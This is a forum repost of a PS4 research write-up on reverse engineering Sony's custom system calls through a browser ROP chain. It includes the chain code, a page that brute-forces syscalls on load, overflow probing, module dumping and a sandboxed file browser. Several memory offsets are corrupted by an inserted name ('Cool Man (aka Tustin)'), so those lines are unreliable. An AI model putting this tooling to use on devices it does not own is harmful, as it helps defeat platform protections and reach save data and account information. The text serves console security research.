Of these 76, only 45 are referenced by libkernel.sprx (which all non-core applications use to perform system calls), so developers only have 45 custom system calls which they can use.

Interestingly, although only 45 are intended to be called (because libkernel.sprx has wrappers for them), some of the other 31 are still callable from the Internet Browser process. It is more likely for these unintended system calls to have vulnerabilities in them, since they have probably had the least amount of testing.

libkernel.sprx


To identify how custom system calls are used by libkernel, you must first remember that it is just a modification of the standard FreeBSD 9.0 libraries.

Here's an extract of _libpthread_init from thr_init.c:

    /*
* Check for the special case of this process running as
* or in place of init as pid = 1:
*/
if ((_thr_pid = getpid()) == 1) {
/*
* Setup a new session for this process which is
* assumed to be running as root.
*/
if (setsid() == -1)
PANIC("Can't set session ID");
if (revoke(_PATH_CONSOLE) != 0)
PANIC("Can't revoke console");
if ((fd = __sys_open(_PATH_CONSOLE, O_RDWR)) < 0)
PANIC("Can't open console");
if (setlogin("root") == -1)
PANIC("Can't set login to root");
if (_ioctl(fd, TIOCSCTTY, (char *) NULL) == -1)
PANIC("Can't set controlling terminal");
}


The same function can be found at offset 0x215F0 from libkernel.sprx. This is how the above extract looks from within a libkernel dump:

    call    getpid
mov cs:dword_5B638, eax
cmp eax, 1
jnz short loc_2169F

call setsid
cmp eax, 0FFFFFFFFh
jz loc_21A0C

lea rdi, aDevConsole ; "/dev/console"
call revoke
test eax, eax
jnz loc_21A24

lea rdi, aDevConsole ; "/dev/console"
mov esi, 2
xor al, al
call open

mov r14d, eax
test r14d, r14d
js loc_21A3C
lea rdi, aRoot ; "root"
call setlogin
cmp eax, 0FFFFFFFFh
jz loc_21A54

mov edi, r14d
mov esi, 20007461h
xor edx, edx
xor al, al
call ioctl
cmp eax, 0FFFFFFFFh
jz loc_21A6C


Reversing module dumps to analyse system calls


libkernel isn't completely open source though; there's also a lot of custom code which can help disclose some of Sony's system calls.

Although this process will vary depending on the system call you are looking up; for some, it is fairly easy to get a basic understanding of the arguments that are passed to it.

The system call wrapper will be declared somewhere in libkernel.sprx, and will almost always follow this template:

    000000000000DB70 syscall_601     proc near
000000000000DB70 mov rax, 259h
000000000000DB77 mov r10, rcx
000000000000DB7A syscall
000000000000DB7C jb short error
000000000000DB7E retn
000000000000DB7F
000000000000DB7F error:
000000000000DB7F lea rcx, sub_DF60
000000000000DB86 jmp rcx
000000000000DB86 syscall_601 endp


Note that the mov r10, rcx instruction doesn't necessarily mean that the system call takes at least 4 arguments; all system call wrappers have it, even those that take no arguments, such as getpid.

Once you've found the wrapper, you can look up xrefs to it:

    0000000000011D50                 mov     edi, 10h
0000000000011D55 xor esi, esi
0000000000011D57 mov edx, 1
0000000000011D5C call syscall_601
0000000000011D61 test eax, eax
0000000000011D63 jz short loc_11D6A

It's good to look up several of these, just to make sure that the registers weren't modified for something unrelated:

    0000000000011A28                 mov     edi, 9
0000000000011A2D xor esi, esi
0000000000011A2F xor edx, edx
0000000000011A31 call syscall_601
0000000000011A36 test eax, eax
0000000000011A38 jz short loc_11A3F

Consistently, the first three registers of the system call convention (rdi, rsi, and rdx) are modified before invoking the call, so we can conclude with reasonable confidence that it takes 3 arguments.

For clarity, this is how we would replicate the calls in JuSt-ROP:

    chain.syscall("unknown", 601, 0x10, 0, 1);
chain.syscall("unknown", 601, 9, 0, 0);

As with most system calls, it will return 0 on success, as seen by the jz conditional after testing the return value.

Looking up anything beyond than the amount of arguments will require a much more in-depth analysis of the code before and after the call to understand the context, but this should help you get started.

Brute forcing system calls


Although reverse engineering module dumps is the most reliable way to identify system calls, some aren't referenced at all in the dumps we have so we will need to analyse them blindly.

If we guess that a certain system call might take a particular set of arguments, we can brute force all system calls which return a certain value (0 for success) with the arguments that we chose, and ignore all which returned an error.

We can also pass 0s for all arguments, and brute force all system calls which return useful errors such as 0xe, "Bad address", which would indicate that they take at least one pointer.

Firstly, we will need to execute the ROP chain as soon as the page loads. We can do this by attaching our function to the body element's

    onload:

<body onload="exploit()">


Next we will need to perform a specific system call depending on an HTTP GET value. Although this can be done with JavaScript, I will demonstrate how to do this using PHP for simplicity:

    var Sony = 533;
chain.syscall("Sony system call", Sony + <?php print($_GET["b"]); ?>, 0, 0, 0, 0, 0, 0);
chain.write_rax_ToVariable(0);


Once the system call has executed, we can check the return value, and if it isn't interesting, redirect the page to the next system call:

    if(chain.getVariable(0) == 0x16) window.location.assign("index.php?b=" + (<?php print($_GET["b"]); ?> + 1).toString());


Running the page with ?b=0 appended to the end will start the brute force from the first Sony system call.

Although this method requires a lot of experimentation, by passing different values to some of the system calls found by brute forcing and analysing the new return values, there are a few system calls which you should be able to partially identify.

System call 538


As an example, I'll take a look at system call 538, without relying on any module dumps.

These are the return values depending on what is passed as the first argument:

    0 - 0x16, "Invalid argument"
1 - 0xe, "Bad address"
Pointer to 0s - 0x64 initially, but each time the page is refreshed this value increases by 1


Other potential arguments to try would be PID, thread ID, and file descriptor.

Although most system calls will return 0 on success, due to the nature of the return value increasing after each time it is called, it seems like it is allocating a resource number, such as a file descriptor.

The next thing to do would be to look at the data before and after performing the system call, to see if it has been written to.

Since there is no change in the data, we can assume that it is an input for now.

I then tried passing a long string as the first argument. You should always try this with every input you find because there is the possibility of discovering a buffer overflow.

    writeString(chain.data, "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa");
chain.syscall("unknown", 538, chain.data, 0, 0, 0, 0, 0);


The return value for this is 0x3f, ENAMETOOLONG. Unfortunately it seems that this system call correctly limits the name (32 bytes including NULL truncator), but it does tell us that it is expecting a string, rather than a struct.

We now have a few possibilities for what this system call is doing, the most obvious being something related to the filesystem (such as a custom mkdir or open), but this doesn't seem particularly likely seeing as a resource was allocated even before we wrote any data to the pointer.

To test whether the first parameter is a path, we can break it up with multiple / characters to see if this allows for a longer string:

    writeString(chain.data, "aaaaaaaaaa/aaaaaaaaaa/aaaaaaaaaa");
chain.syscall("unknown", 538, chain.data, 0, 0, 0, 0, 0);


Since this also returns 0x3f, we can assume that the first argument isn't a path; it is a name for something that gets allocated a sequential identifier.

After analysing some more system calls, I found that the following all shared this exact same behaviour:

533
538
557
574
580

From the information that we have so far, it is almost impossible to pinpoint exactly what these system calls do, but as you run more tests, further information will slowly be revealed.

To save you some time, system call 538 is allocating an event flag (and it doesn't just take a name).

Using general knowledge of how a kernel works, you can guess, and then verify, what the system calls are allocating (semaphores, mutexes, etc).

Dumping additional modules


We can dump additional modules by following these stages:

Load the module
Get the module's base address
Dump the module
I tediously tried loading and dumping every single module from within the Internet Browser manually, and posted the results on psdevwiki. All modules with Yes next to them can be dumped with this method.

To load a module we will need to use the sceSysmoduleLoadModule function from libSceSysmodule.sprx + 0x1850. The first parameter is the module ID to load, and the other 3 should just be passed 0.

The following JuSt-ROP method can be used to perform a function call:

    this.call = function(name, module, address, arg1, arg2, arg3, arg4, arg5, arg6) {
console.log("call " + name);

if(typeof(arg1) !== "undefined") this.add("pop rdi", arg1);
if(typeof(arg2) !== "undefined") this.add("pop rsi", arg2);
if(typeof(arg3) !== "undefined") this.add("pop rdx", arg3);
if(typeof(arg4) !== "undefined") this.add("pop rcx", arg4);
if(typeof(arg5) !== "undefined") this.add("pop r8", arg5);
if(typeof(arg6) !== "undefined") this.add("pop r9", arg6);
this.add(module_bases[module] + address);
}


So, to load libSceAvSetting.sprx (0xb):

    chain.call("sceSysmoduleLoadModule", libSysmodule, 0x1850, 0xb, 0, 0, 0);


Like most system calls, this should return 0 on success. To see the loaded module ID that was allocated, we can use one of Sony's custom system calls, number 592, to get a list of currently loaded modules:

    var countAddress = chain.data;
var modulesAddress = chain.data + 8;

// System call 592, getLoadedModules(int *destinationModuleIDs, int max, int *count);
chain.syscall("getLoadedModules", 592, modulesAddress, 256, countAddress);

chain.execute(function() {
var count = getU64from(countAddress);
for(var index = 0; index < count; index++) {
logAdd("Module: 0x" + getU32from(modulesAddress + index * 4).toString(16));
}
});


Running this without loading any additional modules will produce the following list:

    0x0, 0x1, 0x2, 0xc, 0xe, 0xf, 0x11, 0x12, 0x13, 0x14, 0x15, 0x16, 0x17, 0x18, 0x19, 0x1a, 0x1b, 0x1e, 0x37, 0x59


But if we run it after loading module 0xb, we seen an additional entry, 0x65. Remember that module ID is not the same as loaded module ID.

We can now use another of Sony's custom system calls, number 593, which takes a loaded module ID and a buffer, and fills the buffer with information about the loaded module, including its base address. Since the loaded module ID is always 0x65, we can hardcode it into our chain, rather than having to store the result from the module list.

The buffer must start with the size of the struct that should be returned, otherwise error0x16 will be returned, "Invalid argument":

    setU64to(moduleInfoAddress, 0x160);
chain.syscall("getModuleInfo", 593, 0x65, moduleInfoAddress);

chain.execute(function() {
logAdd(hexDump(moduleInfoAddress, 0x160));
});


It will return 0 upon success, and fill the buffer with a struct which can be read like so:

    var name = readString(moduleInfoAddress + 0xCool Man (aka Tustin);
var codeBase = getU64from(moduleInfoAddress + 0x10Cool Man (aka Tustin);
var codeSize = getU32from(moduleInfoAddress + 0x110);
var dataBase = getU64from(moduleInfoAddress + 0x11Cool Man (aka Tustin);
var dataSize = getU32from(moduleInfoAddress + 0x120);


We now have everything we need to dump the module!

    dump(codeBase, codeSize + dataSize);


There is another Sony system call, number 608, which works in a similar way to 593, but provides slightly different information about the loaded module:

    setU64to(moduleInfoAddress, 0x1aCool Man (aka Tustin);
chain.syscall("getDifferentModuleInfo", 608, 0x65, 0, moduleInfoAddress);
logAdd(hexDump(moduleInfoAddress, 0x1aCool Man (aka Tustin));

It's not clear what this information is.

Browsing the filesystem


The PS4 uses the standard FreeBSD 9.0 system calls for reading files and directories.

However, whilst using read for some directories such as /dev/ will work, others, such as / will fail.

I'm not sure why this is, but if we use gendents instead of read for directories, it will work much more reliably:

    writeString(chain.data, "/dev/");
chain.syscall("open", 5, chain.data, 0, 0);
chain.write_rax_ToVariable(0);

chain.read_rdi_FromVariable(0);
chain.syscall("getdents", 272, undefined, chain.data + 0x10, 102Cool Man (aka Tustin);


This is the resultant memory:

    0000010: 0700 0000 1000 0205 6469 7073 7700 0000  ........dipsw...
0000020: 0800 0000 1000 0204 6e75 6c6c 0000 0000 ........null....
0000030: 0900 0000 1000 0204 7a65 726f 0000 0000 ........zero....
0000040: 0301 0000 0c00 0402 6664 0000 0b00 0000 ........fd......
0000050: 1000 0a05 7374 6469 6e00 0000 0d00 0000 ....stdin.......
0000060: 1000 0a06 7374 646f 7574 0000 0f00 0000 ....stdout......
0000070: 1000 0a06 7374 6465 7272 0000 1000 0000 ....stderr......
0000080: 1000 0205 646d 656d 3000 0000 1100 0000 ....dmem0.......
0000090: 1000 0205 646d 656d 3100 0000 1300 0000 ....dmem1.......
00000a0: 1000 0206 7261 6e64 6f6d 0000 1400 0000 ....random......
00000b0: 1000 0a07 7572 616e 646f 6d00 1600 0000 ....urandom.....
00000c0: 1400 020b 6465 6369 5f73 7464 6f75 7400 ....deci_stdout.
00000d0: 1700 0000 1400 020b 6465 6369 5f73 7464 ........deci_std
00000e0: 6572 7200 1800 0000 1400 0209 6465 6369 err.........deci
00000f0: 5f74 7479 3200 0000 1900 0000 1400 0209 _tty2...........
0000100: 6465 6369 5f74 7479 3300 0000 1a00 0000 deci_tty3.......
0000110: 1400 0209 6465 6369 5f74 7479 3400 0000 ....deci_tty4...
0000120: 1b00 0000 1400 0209 6465 6369 5f74 7479 ........deci_tty
0000130: 3500 0000 1c00 0000 1400 0209 6465 6369 5...........deci
0000140: 5f74 7479 3600 0000 1d00 0000 1400 0209 _tty6...........
0000150: 6465 6369 5f74 7479 3700 0000 1e00 0000 deci_tty7.......
0000160: 1400 020a 6465 6369 5f74 7479 6130 0000 ....deci_ttya0..
0000170: 1f00 0000 1400 020a 6465 6369 5f74 7479 ........deci_tty
0000180: 6230 0000 2000 0000 1400 020a 6465 6369 b0.. .......deci
0000190: 5f74 7479 6330 0000 2200 0000 1400 020a _ttyc0..".......
00001a0: 6465 6369 5f73 7464 696e 0000 2300 0000 deci_stdin..#...
00001b0: 0c00 0203 6270 6600 2400 0000 1000 0a04 ....bpf.$.......
00001c0: 6270 6630 0000 0000 2900 0000 0c00 0203 bpf0....).......
00001d0: 6869 6400 2c00 0000 1400 0208 7363 655f hid.,.......sce_
00001e0: 7a6c 6962 0000 0000 2e00 0000 1000 0204 zlib............
00001f0: 6374 7479 0000 0000 3400 0000 0c00 0202 ctty....4.......
0000200: 6763 0000 3900 0000 0c00 0203 6463 6500 gc..9.......dce.
0000210: 3a00 0000 1000 0205 6462 6767 6300 0000 :.......dbggc...
0000220: 3e00 0000 0c00 0203 616a 6d00 4100 0000 >.......ajm.A...
0000230: 0c00 0203 7576 6400 4200 0000 0c00 0203 ....uvd.B.......
0000240: 7663 6500 4500 0000 1800 020d 6e6f 7469 vce.E.......noti
0000250: 6669 6361 7469 6f6e 3000 0000 4600 0000 fication0...F...
0000260: 1800 020d 6e6f 7469 6669 6361 7469 6f6e ....notification
0000270: 3100 0000 5000 0000 1000 0206 7573 6263 1...P.......usbc
0000280: 746c 0000 5600 0000 1000 0206 6361 6d65 tl..V.......came
0000290: 7261 0000 8500 0000 0c00 0203 726e 6700 ra..........rng.
00002a0: 0701 0000 0c00 0403 7573 6200 c900 0000 ........usb.....
00002b0: 1000 0a07 7567 656e 302e 3400 0000 0000 ....ugen0.4.....
00002c0: 0000 0000 0000 0000 0000 0000 0000 0000 ................


You can read some of these devices, for example: reading /dev/urandom will fill the memory with random data.

It is also possible to parse this memory to create a clean list of entries; look at browser.html in the repository for a complete

file browser:

You must login or register to view this content.


Unfortunately, due to sandboxing we don't have complete access to the file system. Trying to read files and directories that do exist but are restricted will give you error 2, ENOENT, "No such file or directory".

We do have access to a lot of interesting stuff though including encrypted save data, trophies, and account information.

Credits
CTURT
flatz
SKFU
droogie
Xerpi
bigboss
Hunger
Takezo
Proxima

I hope this has cleared some things up.


You must login or register to view this content.

Copyright © 2024, NextGenUpdate.
All Rights Reserved.

Gray NextGenUpdate Logo